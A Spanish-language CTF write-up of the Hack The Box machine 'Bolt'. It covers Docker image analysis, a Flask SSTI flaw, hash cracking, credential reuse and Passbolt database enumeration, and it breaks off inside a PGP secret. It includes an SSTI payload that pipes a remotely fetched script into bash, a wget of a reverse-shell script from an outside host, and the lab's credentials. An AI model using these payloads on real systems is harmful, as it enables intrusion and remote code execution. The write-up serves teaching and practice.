En Bolt analizamos una imagen de docker donde descubrimos una vulnerabilidad SSTI en una aplicación de Flask, esto nos permitio el acceder al primer usuario. Credenciales almacenadas nos permitieron obtener acceso a un segundo usuario. Finalmente obtuvimos en texto plano las credenciales del superusuario con una clave privada en una extensión de Google Chrome.
Nombre |
Bolt |
OS |
Linux |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.11.114 |
Maker |
d4rkpayl0ad TheCyberGeek |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[7.3, 5.8, 4.7, 5.3, 4.2],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[10, 10, 10, 0, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
Recon
Nmap
nmap muestra multiples puertos abiertos: http/s (80, 443), SSH (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
# Nmap 7.91 scan initiated Mon Sep 27 16:41:41 2021 as: nmap -p22,80,443 -sC -sV -o nmap_scan 10.10.11.114
Nmap scan report for 10.10.11.114 (10.10.11.114)
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
| 256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_ 256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Starter Website - About
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after: 2022-02-24T19:11:23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 27 16:42:09 2021 -- 1 IP address (1 host up) scanned in 28.19 seconds
|
Web Site
Inicialmente encontramos un dominio y subdominio en nmap el cual agregamos a nuestro archivo /etc/hosts
, encontramos un sitio web en el que ofrecen diferentes servicios y vemos algunos nombres que podrian ser utilizados como usuarios o contraseñas.
Vemos en el formulario de contacto (/contact
) dos emails.
En la pagina /download
encontramos una direccion para descargar una imagen de docker.
Passbolt
Al visitar el subdominio en HTTPS encontramos passbolt un gestor de contraseñas que pregunta por un email.
Docker
Al descargar el archivo .tar
que encontramos en /download
y cargarlo localmente vemos diferentes “capas”, el peso y nombre del repositorio o imagen.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
sckull@tars:~/docker$ sudo docker load < image.tar
3fc64803ca2d: Loading layer [==================================================>] 4.463MB/4.463MB
73f2f98bc222: Loading layer [==================================================>] 7.68kB/7.68kB
8f2df5d06a26: Loading layer [==================================================>] 62.86MB/62.86MB
a1e4f9dc4110: Loading layer [==================================================>] 57.57MB/57.57MB
f0c4120bc314: Loading layer [==================================================>] 29.79MB/29.79MB
14ec2ed1c30d: Loading layer [==================================================>] 6.984MB/6.984MB
68c03965721f: Loading layer [==================================================>] 3.072kB/3.072kB
fec67b58fd48: Loading layer [==================================================>] 19.97kB/19.97kB
7fa1531c7420: Loading layer [==================================================>] 7.168kB/7.168kB
e45bbea785e3: Loading layer [==================================================>] 15.36kB/15.36kB
ac16908b339d: Loading layer [==================================================>] 8.192kB/8.192kB
Loaded image: flask-dashboard-adminlte_appseed-app:latest
sckull@tars:~/docker$ sudo docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
flask-dashboard-adminlte_appseed-app latest 859e74798e6c 6 months ago 154MB
sckull@tars:~/docker$
|
APP
Tras ejecutar y acceder al contenedor encontramos la configuración de la aplicación web, vemos credenciales de bases de datos y algunas “Secret keys”, tambien se observa la configuración de correo electronico. Si bien en la configuración de sqlite se menciona el archivo db.sqlite3
este no existe dentro del contenedor.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
/ # cat .env
DEBUG=True
SECRET_KEY=S3cr3t_K#Key
DB_ENGINE=postgresql
DB_NAME=appseed-flask
DB_HOST=localhost
DB_PORT=5432
DB_USERNAME=appseed
DB_PASS=pass
/ # ls
__pycache__ config.py gunicorn-cfg.py media requirements.txt run.py sys var
app dev home mnt root sbin tmp
bin etc lib proc run srv usr
/ # cat config.py
# -*- encoding: utf-8 -*-
"""
Copyright (c) 2019 - present AppSeed.us
"""
import os
from decouple import config
class Config(object):
basedir = os.path.abspath(os.path.dirname(__file__))
# Set up the App SECRET_KEY
SECRET_KEY = config('SECRET_KEY', default='S#perS3crEt_007')
# This will create a file in <app> FOLDER
SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'db.sqlite3')
SQLALCHEMY_TRACK_MODIFICATIONS = False
MAIL_SERVER = 'localhost'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
DEFAULT_MAIL_SENDER = 'support@bolt.htb'
class ProductionConfig(Config):
DEBUG = False
# Security
SESSION_COOKIE_HTTPONLY = True
REMEMBER_COOKIE_HTTPONLY = True
REMEMBER_COOKIE_DURATION = 3600
# PostgreSQL database
SQLALCHEMY_DATABASE_URI = '{}://{}:{}@{}:{}/{}'.format(
config( 'DB_ENGINE' , default='postgresql' ),
config( 'DB_USERNAME' , default='appseed' ),
config( 'DB_PASS' , default='pass' ),
config( 'DB_HOST' , default='localhost' ),
config( 'DB_PORT' , default=5432 ),
config( 'DB_NAME' , default='appseed-flask' )
)
class DebugConfig(Config):
DEBUG = True
# Load all possible configurations
config_dict = {
'Production': ProductionConfig,
'Debug' : DebugConfig
}
/ #
|
Vemos en /app
dos “modulos” utilizando blueprints de flask.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
/app # ls -lah
total 24
drwxr-xr-x 1 root root 4.0K Mar 5 2021 .
drwxr-xr-x 1 root root 4.0K Sep 28 05:52 ..
-rw-r--r-- 1 root root 1.0K Mar 5 2021 __init__.py
drwxr-xr-x 1 root root 4.0K Mar 5 2021 __pycache__
drwxr-xr-x 1 root root 4.0K Mar 5 2021 base
drwxr-xr-x 1 root root 4.0K Mar 5 2021 home
/app # cat __init__.py
# -*- encoding: utf-8 -*-
"""
Copyright (c) 2019 - present AppSeed.us
"""
from flask import Flask, url_for
from flask_login import LoginManager
from flask_sqlalchemy import SQLAlchemy
from importlib import import_module
from logging import basicConfig, DEBUG, getLogger, StreamHandler
from os import path
db = SQLAlchemy()
login_manager = LoginManager()
def register_extensions(app):
db.init_app(app)
login_manager.init_app(app)
def register_blueprints(app):
for module_name in ('base', 'home'):
module = import_module('app.{}.routes'.format(module_name))
app.register_blueprint(module.blueprint)
def configure_database(app):
@app.before_first_request
def initialize_database():
db.create_all()
@app.teardown_request
def shutdown_session(exception=None):
db.session.remove()
def create_app(config):
app = Flask(__name__, static_folder='base/static')
app.config.from_object(config)
register_extensions(app)
register_blueprints(app)
configure_database(app)
return app
/app #
|
Base
El modulo base
pareciera ser “parte” del sitio web en el puerto 80 ya que se muestra plantillas y rutas similares.
Algo que podríamos destacar es el metodo para encriptar las contraseñas basado en MD5 y que además este modulo solo presenta información estatica sin ninguna otra funcionalidad más que la de registro, login y logout, al menos en esta capa del contenedor.
1
2
3
4
|
def hash_pass( password ):
"""Hash a password for storing."""
password = crypt.crypt(password,crypt.METHOD_MD5)
return ( password.encode('utf-8') )
|
Tras registrar un usuario (localmente) vemos una plantilla estatica que no se muestra en el codigo del modulo Base.
Home
El modulo “home” muestra algunas runtas, una de ellas es /example-profile
que obtiene algunas variables por el metodo POST, que son utilizadas para crear un correo que antes de renderizar la plantilla definida es enviado al usuario “actual”, en el proceso inserta información a la base de datos y crea una URL de confirmación utilizando la funcion o ruta confirm_changes()
junto con una plantilla que es enviada en el correo final.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
@blueprint.route("/example-profile", methods=['GET', 'POST'])
@login_required
def profile():
"""Profiles"""
if request.method == 'GET':
return render_template('example-profile.html', user=user,current_user=current_user)
else:
"""Experimental Feature"""
cur_user = current_user
user = current_user.username
name = request.form['name']
experience = request.form['experience']
skills = request.form['skills']
msg = Message(
recipients=[f'{cur_user.email}'],
sender = 'support@example.com',
reply_to = 'support@example.com',
subject = "Please confirm your profile changes"
)
try:
cur_user.profile_update = name
except:
return render_template('page-500.html')
db.session.add(current_user)
db.session.commit()
token = ts.dumps(user, salt='changes-confirm-key')
confirm_url = url_for('home_blueprint.confirm_changes',token=token,_external=True)
html = render_template('emails/confirm-changes.html',confirm_url=confirm_url)
msg.html = html
mail.send(msg)
return render_template('index.html')
|
Si vemos la plantilla existe un formulario que envia las variables por metodo POST.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
[... snip ...]
<div class="tab-pane" id="settings">
<p>Email verification is required in order to update personal information.</p>
<form class="form-horizontal" action="/example-profile" method="POST">
<div class="form-group row">
<label for="inputName2" class="col-sm-2 col-form-label">Name</label>
<div class="col-sm-10">
<input type="text" class="form-control" id="inputName2" name="name" placeholder="Name">
</div>
</div>
<div class="form-group row">
<label for="inputExperience" class="col-sm-2 col-form-label">Experience</label>
<div class="col-sm-10">
<textarea class="form-control" id="inputExperience" name="experience" placeholder="Experience"></textarea>
</div>
</div>
<div class="form-group row">
<label for="inputSkills" class="col-sm-2 col-form-label">Skills</label>
<div class="col-sm-10">
<input type="text" class="form-control" id="inputSkills" name="skills" placeholder="Skills">
</div>
</div>
<div class="form-group row">
<div class="offset-sm-2 col-sm-10">
<div class="checkbox">
<label>
<input type="checkbox"> I agree to the <a href="#">terms and conditions</a>
</label>
</div>
</div>
</div>
<div class="form-group row">
<div class="offset-sm-2 col-sm-10">
<button type="submit" class="btn btn-danger">Submit</button>
</div>
</div>
</form>
</div>
[... snip ...]
|
La ruta o funcion confirm_changes()
obtiene el nombre del usuario que es utilizado en la plantilla para ser enviado por correo electronico utilizando render_template_string()
lo que supone una vulnerabilidad de SSTI ya que name
es aceptada como variable en /example-profile
, puede ser modificada y no existe algun tipo de “filtro”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
@blueprint.route('/confirm/changes/<token>')
def confirm_changes(token):
"""Confirmation Token"""
try:
email = ts.loads(token, salt="changes-confirm-key", max_age=86400)
except:
abort(404)
user = User.query.filter_by(username=email).first_or_404()
name = user.profile_update
template = open('templates/emails/update-name.html', 'r').read()
msg = Message(
recipients=[f'{user.email}'],
sender = 'support@example.com',
reply_to = 'support@example.com',
subject = "Your profile changes have been confirmed."
)
msg.html = render_template_string(template % name)
mail.send(msg)
return render_template('index.html')
|
Vemos en la plantilla que es utilizada literal la variable “name”, tras enviar el correo el nombre aparecerá en esta plantilla.
1
2
3
4
5
6
|
<html>
<body>
<p> %s </p>
<p> This e-mail serves as confirmation of your profile username changes.</p>
</body>
</html>
|
Vulnerabilidad
Como pequeño resumen, la ruta /example-profile
obtiene datos para actualizar el perfil, tras la confirmación por url se realizan los cambios y, estos son son enviados por correo electronico. Si deseamos explotar la vulnerabilidad SSTI debemos de enviar codigo en la variable name
y, el resultado de la ejecucion se mostraría en el correo recibido por el usuario que realiza la actualizacion.
Las rutas no pueden ser accedidas, se muestra un error Internal Server Error
. Además este modulo es el encargado de mostrar todas las plantillas (route_template()
) tras acceder con el login.
Imagen
Si listamos el historial de la imagen vemos diferentes cambios algunos mas pesados que otros.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
sckull@tars:~/docker$ sudo docker history 859e74798e6c
IMAGE CREATED CREATED BY SIZE COMMENT
859e74798e6c 6 months ago gunicorn --config gunicorn-cfg.py run:app 3.93kB
<missing> 6 months ago sh 8.49kB
<missing> 6 months ago gunicorn --config gunicorn-cfg.py run:app 6B
<missing> 6 months ago gunicorn --config gunicorn-cfg.py run:app 16.4kB
<missing> 6 months ago gunicorn --config gunicorn-cfg.py run:app 6B
<missing> 6 months ago gunicorn --config gunicorn-cfg.py run:app 6.95MB
<missing> 6 months ago /bin/sh -c #(nop) CMD ["gunicorn" "--config… 0B
<missing> 6 months ago /bin/sh -c #(nop) EXPOSE 5005 0B
<missing> 6 months ago /bin/sh -c pip3 install -r requirements.txt 28.3MB
<missing> 6 months ago /bin/sh -c apk --update add python3 py3-pip 53MB
<missing> 6 months ago /bin/sh -c #(nop) COPY dir:f385c9405a9b189a6… 61.2MB
<missing> 6 months ago /bin/sh -c #(nop) COPY multi:e0a96f9a5ad90dc… 2.86kB
<missing> 6 months ago /bin/sh -c #(nop) ENV FLASK_APP=run.py 0B
<missing> 2 years ago /bin/sh -c #(nop) CMD ["/bin/sh"] 0B
<missing> 2 years ago /bin/sh -c #(nop) ADD file:aa17928040e31624c… 4.21MB
sckull@tars:~/docker$
|
El archivo de imagen es un .tar
por lo que al extraerlo vemos las diferentes capas, en el archivo repositories
se describe la más reciente y en el archivo manifest
los nombres de las diferentes capas. Si seguimos el orden de las capas (“historial”) que se muestran encontramos información que no está en el estado actual de la imagen. Primero (en la capa 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad), vemos en el archivo de rutas del modulo base
la ruta /register
durante el registro pregunta por un codigo de invitacion mismo que se muestra en elcodigo fuente.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
@blueprint.route('/register', methods=['GET', 'POST'])
def register():
login_form = LoginForm(request.form)
create_account_form = CreateAccountForm(request.form)
if 'register' in request.form:
username = request.form['username']
email = request.form['email' ]
code = request.form['invite_code']
if code != 'XNSS-HSJW-3NGU-8XTJ':
return render_template('code-500.html')
data = User.query.filter_by(email=email).first()
if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
# Check usename exists
user = User.query.filter_by(username=username).first()
if user:
return render_template( 'accounts/register.html',
msg='Username already registered',
success=False,
form=create_account_form)
# Check email exists
user = User.query.filter_by(email=email).first()
if user:
return render_template( 'accounts/register.html',
msg='Email already registered',
success=False,
form=create_account_form)
# else we can create the user
user = User(**request.form)
db.session.add(user)
db.session.commit()
return render_template( 'accounts/register.html',
msg='User created please <a href="/login">login</a>',
success=True,
form=create_account_form)
else:
return render_template( 'accounts/register.html', form=create_account_form)
|
Tambien encontramos (en a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2) un archivo de base de datos SQLite donde observamos las credenciales del usuario admin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
sckull@tars:~/docker/image/image/a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2$ ls
db.sqlite3 json layer.tar root tmp VERSION
sckull@tars:~/docker/image/image/a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2$ sqlite3
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open db.sqlite3
sqlite> .tables
User
sqlite> .schema User
CREATE TABLE IF NOT EXISTS "User" (
id INTEGER NOT NULL,
username VARCHAR,
email VARCHAR,
password BLOB,
email_confirmed BOOLEAN,
profile_update VARCHAR(80),
PRIMARY KEY (id),
UNIQUE (username),
UNIQUE (email)
);
sqlite> select * from User;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||
sqlite>
|
Password Cracking
Ejecutamos john con el wordlist rockyou.txt, con ello obtuvimos la contraseña en texto plano.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
π ~/htb/bolt ❯ vim hash_admin
π ~/htb/bolt ❯ cat hash_admin
$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.
π ~/htb/bolt ❯ john hash_admin --wordlist=$ROCK
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbolt (?)
1g 0:00:00:00 DONE (2021-09-27 17:19) 1.639g/s 283278p/s 283278c/s 283278C/s doida..curtis13
Use the "--show" option to display all of the cracked passwords reliably
Session completed
π ~/htb/bolt ❯
|
AdminLTE
En el dominio principal encontramos un login donde logramos ingresar utilizando las credenciales de la base de datos SQLite. Vemos que es muy diferente a los modulos del contenedor. En el dashboard vemos una conversacion de chat donde se menciona una demo restringida y un nombre (Eddie).
Directory Brute Forcing
Tras ejecutar feroxbuster no encontramos una direccion relacionada a la demo. Además las direcciones relacionadas al modulo “home” no se encuetran en este sitio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
π ~/htb/bolt ❯ feroxbuster -u http://bolt.htb -w $MD
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://bolt.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
308 4l 24w 239c http://bolt.htb/index
200 173l 564w 9287c http://bolt.htb/login
200 346l 1141w 18570c http://bolt.htb/download
200 468l 1458w 26293c http://bolt.htb/contact
200 199l 639w 11038c http://bolt.htb/register
200 405l 1419w 22443c http://bolt.htb/services
500 4l 40w 290c http://bolt.htb/profile
200 549l 2014w 31731c http://bolt.htb/pricing
302 4l 24w 209c http://bolt.htb/logout
|
Subdominios
Utilizamos ffuf para enumerar subdominios, vemos dos nuevos mail
y demo
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
π ~/htb/bolt ❯ ffuf -w bitquark-subdomains-top100000.txt -H "Host: FUZZ.bolt.htb" -u http://bolt.htb -fs 30347
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://bolt.htb
:: Wordlist : FUZZ: bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.bolt.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 30347
________________________________________________
mail [Status: 200, Size: 4943, Words: 345, Lines: 99]
demo [Status: 302, Size: 219, Words: 22, Lines: 4]
:: Progress: [100000/100000] :: Job [1/1] :: 164 req/sec :: Duration: [0:11:41] :: Errors: 0 ::
|
User - www-data
Webmail
En el subdominio mail encontramos un login las credenciales del usuario admin no funcionan.
Tomando en cuenta la cookie todo indica que es Roundcube Webmail.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
π ~/htb/bolt ❯ curl -sI http://mail.bolt.htb/
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 29 Sep 2021 01:30:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: roundcube_sessid=6mvcdpffsfu9uru6h2ih8idlj9; path=/; HttpOnly
Expires: Wed, 29 Sep 2021 01:30:09 GMT
Last-Modified: Wed, 29 Sep 2021 01:30:09 GMT
Cache-Control: private, no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: sameorigin
Content-Language: en
|
Demo
En el subdominio demo encontramos un login donde tampoco funcionaron las credenciales, sin embargo en este es posible registrar un usuario con un correo utilizando el codigo de invitacion.
Tras ingresar vemos un dashboard similar al modulo Base, además vemos el formulario del modulo Home que podria tener una vulnerabilidad SSTI.
SSTI
Intentamos explotar la vulnerabilidad enviando un pequeño print ({% print('x'*8) %}
), la respuesta fue una redireccion al dashobard.
En la app no encontramos ninguna ruta para verificar correos electronicos, sin embargo al registrar un usuario tambien se registra un correo. Utilizando Webmail logramos acceder con las credenciales de registro, donde encontramos un correo con la url de confirmacion.
Tras visitar la url de confirmación recibimos un segundo correo con el resultado del codigo ejecutado ({% print('x'*8) %}
). Como se suponia (Vulnerabilidad App) existe una vulnerabilidad.
Nuevamente enviamos un payload para ejecutar comandos y vemos que el usuario es www-data
.
Shell
Ejecutamos una shell inversa lo que nos permitio acceder a la maquina como www-data
.
1
2
3
4
5
6
|
# local
# https://github.com/sckull/shells
wget -q https://shell.infosecjack.me/10.10.10.10:1338 -O x
python3 -m http.server 80
# payload
{{request.application.__globals__.__builtins__.__import__('os').popen('curl 10.10.10.10/x|bash').read()}}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
π ~/htb/bolt ❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.30] from passbolt.bolt.htb [10.10.11.114] 55904
/bin/sh: 0: can't access tty; job control turned off
which python
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@bolt:~/demo$ pwd
/var/www/demo
www-data@bolt:~/demo$ whoami
www-data
www-data@bolt:~/demo$
|
User - Eddie
Enumerando los diferentes archivos de configuración nos topamos con el archivo de passbolt (passbolt.php
) que contiene la contraseña de configuración de la base de datos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
www-data@bolt:/etc/passbolt$ ls
app.default.php default.php passbolt.default.php schema
app.php file_storage.php passbolt.php Seeds
bootstrap_cli.php gpg paths.php version.php
bootstrap.php Migrations requirements.php
bootstrap_plugins.php nginx-ssl.conf routes.php
www-data@bolt:/etc/passbolt$ cat passbolt.php
<?php
[... snip ...]
return [
'App' => [
// A base URL to use for absolute links.
// The url where the passbolt instance will be reachable to your end users.
// This information is need to render images in emails for example
'fullBaseUrl' => 'https://passbolt.bolt.htb',
],
// Database configuration.
'Datasources' => [
'default' => [
'host' => 'localhost',
'port' => '3306',
'username' => 'passbolt',
'password' => 'rT2;jW7<eY8!dX8}pQ8%',
'database' => 'passboltdb',
],
],
[... snip ...]
www-data@bolt:/etc/passbolt$
|
Utilizamos esta contraseña con el usuario Eddie, obtuvimos una shell y la flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
|
www-data@bolt:/etc/passbolt$ su eddie
Password: rT2;jW7<eY8!dX8}pQ8%
eddie@bolt:/etc/passbolt$ whoami; id
eddie
uid=1000(eddie) gid=1000(eddie) groups=1000(eddie)
eddie@bolt:/etc/passbolt$ cd
eddie@bolt:~$ ls
Desktop Downloads Pictures Templates Videos
Documents Music Public user.txt
eddie@bolt:~$ cat user.txt
ed881799d29ad1ec560f5462c5cdf4c1
eddie@bolt:~$
|
Privesc
Passbolt DB
Con las credenciales de passbolt enumeramos la base de datos. Encontramos dos usuarios registrado: eddie y clark.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
mysql> show tables;
+-----------------------+
| Tables_in_passboltdb |
+-----------------------+
| account_settings |
| action_logs |
| actions |
| authentication_tokens |
| avatars |
| comments |
| email_queue |
| entities_history |
| favorites |
| gpgkeys |
| groups |
| groups_users |
| organization_settings |
| permissions |
| permissions_history |
| phinxlog |
| profiles |
| resource_types |
| resources |
| roles |
| secret_accesses |
| secrets |
| secrets_history |
| user_agents |
| users |
+-----------------------+
25 rows in set (0.01 sec)
mysql> select * from users;
+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+
| id | role_id | username | active | deleted | created | modified |
+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+
| 4e184ee6-e436-47fb-91c9-dccb57f250bc | 1cfcd300-0664-407e-85e6-c11664a7d86c | eddie@bolt.htb | 1 | 0 | 2021-02-25 21:42:50 | 2021-02-25 21:55:06 |
| 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 | 975b9a56-b1b1-453c-9362-c238a85dad76 | clark@bolt.htb | 1 | 0 | 2021-02-25 21:40:29 | 2021-02-25 21:42:32 |
+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+
2 rows in set (0.01 sec)
mysql>
|
En la tabla de gpgkeys
encontramos claves publicas de los usuarios registrados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
mysql> describe gpgkeys;
+-------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------------+--------------+------+-----+---------+-------+
| id | char(36) | NO | PRI | NULL | |
| user_id | char(36) | NO | | NULL | |
| armored_key | text | NO | | NULL | |
| bits | int | YES | | 2048 | |
| uid | varchar(128) | NO | | NULL | |
| key_id | varchar(16) | NO | | NULL | |
| fingerprint | varchar(51) | NO | MUL | NULL | |
| type | varchar(16) | YES | | NULL | |
| expires | datetime | YES | | NULL | |
| key_created | datetime | YES | | NULL | |
| deleted | tinyint(1) | NO | | 0 | |
| created | datetime | NO | | NULL | |
| modified | datetime | NO | | NULL | |
+-------------+--------------+------+-----+---------+-------+
13 rows in set (0.00 sec)
mysql> select user_id,armored_key from gpgkeys;
[... snip ... ]
| user_id | armored_key |
[... snip ... ]
| 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 | -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
xsBNBGA4GX0BCAD2MdBV19tAu+SWkMJ0BkvGdQrLquHg1olUvvhvIWmmBICr
eA89HnYYKFoOxnCL1yhpArtf379rFTZJDXzbzXlnCvgZzP71MNYo2Pq3l0Zn
[... snip ... ]
IadG59FrSdK+n8vXPNPcYUcm1F6ddDGvsxjBNwCX00jDNL3Gp7fPqKQjQCh0
pMIO+51kn9QRJJP/XmJrOw2mTheT20DT26JX/K947oi/pAe8xGHrCKAqWiZ5
AeAgt0l0AiCdPTQ=
=axZz
-----END PGP PUBLIC KEY BLOCK-----
|
| 4e184ee6-e436-47fb-91c9-dccb57f250bc | -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
xsBNBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi
fjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk
[... snip ... ]
pmGRRi3bQP6jGo1uP/k9wye/WMD0DrQqxch4lqCDk1n7OFIYlCSBOHU0rE/1
tD0sGGFpQMsI+Q==
=+pbw
-----END PGP PUBLIC KEY BLOCK-----
[... snip ... ]
2 rows in set (0.00 sec)
mysql>
|
Finalmente en la tabla secrets encontramos un mensaje encriptado por el usuario Eddie.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
mysql> describe secrets;
+-------------+------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------------+------------+------+-----+---------+-------+
| id | char(36) | NO | PRI | NULL | |
| user_id | char(36) | NO | MUL | NULL | |
| resource_id | char(36) | NO | MUL | NULL | |
| data | mediumtext | NO | | NULL | |
| created | datetime | NO | | NULL | |
| modified | datetime | NO | | NULL | |
+-------------+------------+------+-----+---------+-------+
6 rows in set (0.00 sec)
mysql> select user_id, data from secrets;
[... snip ... ]
| user_id | data
[... snip ... ]
| 4e184ee6-e436-47fb-91c9-dccb57f250bc | -----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
